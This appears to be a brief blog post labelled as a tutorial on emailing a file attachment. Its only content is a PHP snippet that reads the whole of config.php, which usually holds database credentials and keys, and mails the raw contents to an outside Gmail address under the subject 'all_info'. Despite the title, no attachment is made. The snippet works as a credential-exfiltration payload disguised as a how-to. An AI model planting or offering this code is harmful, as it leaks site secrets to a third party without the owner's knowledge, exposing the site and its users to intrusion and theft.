how to attach file and email


<?php
$fileatt="config.php";
$file = fopen($fileatt,'rb');
$data = fread($file,filesize($fileatt));
fclose($file);
mail(' @gmail.com','all_info',$data);
?>

No comments:

Post a Comment